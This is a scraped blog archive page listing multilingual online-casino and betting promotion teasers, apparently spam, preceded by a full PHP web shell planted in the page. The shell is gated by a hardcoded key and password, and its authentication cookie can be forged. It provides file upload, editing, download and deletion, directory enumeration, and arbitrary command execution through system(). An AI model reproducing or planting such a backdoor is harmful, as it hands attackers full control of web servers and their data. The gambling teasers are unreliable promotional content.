if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 31 – collectives.berlin

Your digital paradise.

Category: public

  • BaxterBet Slots: Die spannendsten Spielautomaten für große Gewinne entdecken

    Willkommen in der aufregenden Welt der Online-Casinos, wo Spieler die Möglichkeit haben, mit spannenden Spielautomaten große Gewinne zu erzielen. Die Plattform baxter bet bietet eine moderne Auswahl an Spielautomaten und Live-Casino-Spielen. In diesem Artikel werden wir die faszinierenden Aspekte von Baxters Spielothek sowie die besten Tipps und Tricks für das Spielen von Slots beleuchten. Ein…

    Click or not…

  • Обзор игровых автоматов в Pin Up: что нового в мире слотов

    Игровые автоматы в казино стали неотъемлемой частью развлечений для многих игроков по всему миру. В этой статье мы рассмотрим Пинап KZ ойыншыларына арналған казино , включая новейшие технологии, популярные игры и бонусные предложения, которые делают игру еще более увлекательной. Как новички могут распознавать ключевые сигналы казино Современные казино, включая Пинап, предлагают игрокам широкий выбор игровых…

    Click or not…

  • Pin Up: Обзор мобильного казино и советы по игре на ходу

    Мобильные казино становятся всё более популярными среди игроков, которые ценят возможность играть в любое время и в любом месте. Именно поэтому важно знать, на что обращать внимание при выборе мобильного казино, чтобы обеспечить свою безопасность и комфорт, включая такие моменты, как Авторизация в Пин Ап и поддержка различных платежных систем. В этом обзоре мы рассмотрим…

    Click or not…

  • Los mejores slots en Pin Up: diversión garantizada y grandes premios

    Los juegos de casino en línea han evolucionado significativamente en los últimos años, y los slots son, sin duda, uno de los favoritos entre los jugadores. Dentro de este vasto universo, las plataformas como Big Bola Casino ofrecen una experiencia completa con una amplia variedad de tragamonedas, juegos de casino en vivo y opciones de…

    Click or not…

  • Super Ace beginner’s guide: mga tips para sa matagumpay na paglalaro

    Sa mundo ng mga online na casino, ang Super Ace ay isang magandang laro na nagbibigay-daan para sa mga manlalaro na maranasan ang saya at potensyal na kita. Isa ito sa mga pinakapopular na slot games ng Jili Games, na nag-aalok ng mga nakaka-engganyong tampok at magandang graphics. Para sa mga interesado, maaari silang magtungo…

    Click or not…

  • Gana777 casino: cómo maximizar tus ganancias con juegos de mesa y slots

    En la actualidad, los casinos en línea se han convertido en una opción popular para muchos jugadores que buscan entretenimiento y la oportunidad de ganar. Gana777 Casino, una plataforma de juego que se destaca en Guatemala, ofrece una amplia variedad de juegos, incluidos tragamonedas, casino en vivo y juegos de mesa, donde los jugadores pueden…

    Click or not…

  • Najlepsze kasyna online w Polsce 2026: przegląd gier i ich funkcji dla graczy

    W 2026 roku kasyna online zyskały na popularności w Polsce, oferując graczom wyjątkowe doświadczenia oraz innowacyjne funkcje. Wybór odpowiedniego kasyna może być kluczowy dla atrakcyjności gier i korzyści, jakie można z nich czerpać, a wśród wielu opcji warto zwrócić uwagę na polskie kasyna online , które zapewniają wysoką jakość usług i bezpieczeństwo. W niniejszym artykule…

    Click or not…

  • Registro en Pin Up Bet: pasos sencillos para comenzar a jugar

    El mundo de los casinos en línea ha crecido de manera exponencial, ofreciendo diversas opciones y oportunidades a los jugadores. Pin Up Casino se destaca por su amplia variedad de juegos, promociones atractivas y un entorno seguro para jugar. En este artículo, exploraremos cómo registrarse en Pin Up Casino y los pasos esenciales que los…

    Click or not…

  • Zazino Casino: эң мыкты слоттор жана жандандырылган оюндар

    Zazino Casino онлайн казиносу Кыргызстандагы оюнчулар үчүн ар түрдүү слоттор жана жандандырылган оюндар сунуштайт. Бул казино жеке маалыматтарды коргоо, тез акчаны төлөө жана оюнчулар үчүн кызыктуу бонус сунуштары менен айырмаланат. Оюнчулар, мисалы, zazino casino kg скачать , ар кандай оюндарды ойноп, өз бактысын сынап, кызыктуу нерселер менен таанышышат. Эми катталууга чейин эмнелер маанилүү Онлайн казинону…

    Click or not…

  • Unlock exclusive bonuses at DBbet Sri Lanka: your guide to 2026 promotions

    As the world of online gaming continues to evolve, players in Sri Lanka are presented with an exciting opportunity to engage in both sports betting and casino games at DBbet Sri Lanka. With a focus on user experience and a variety of offerings, this platform promotes not just thrill, but also the chance to earn…

    Click or not…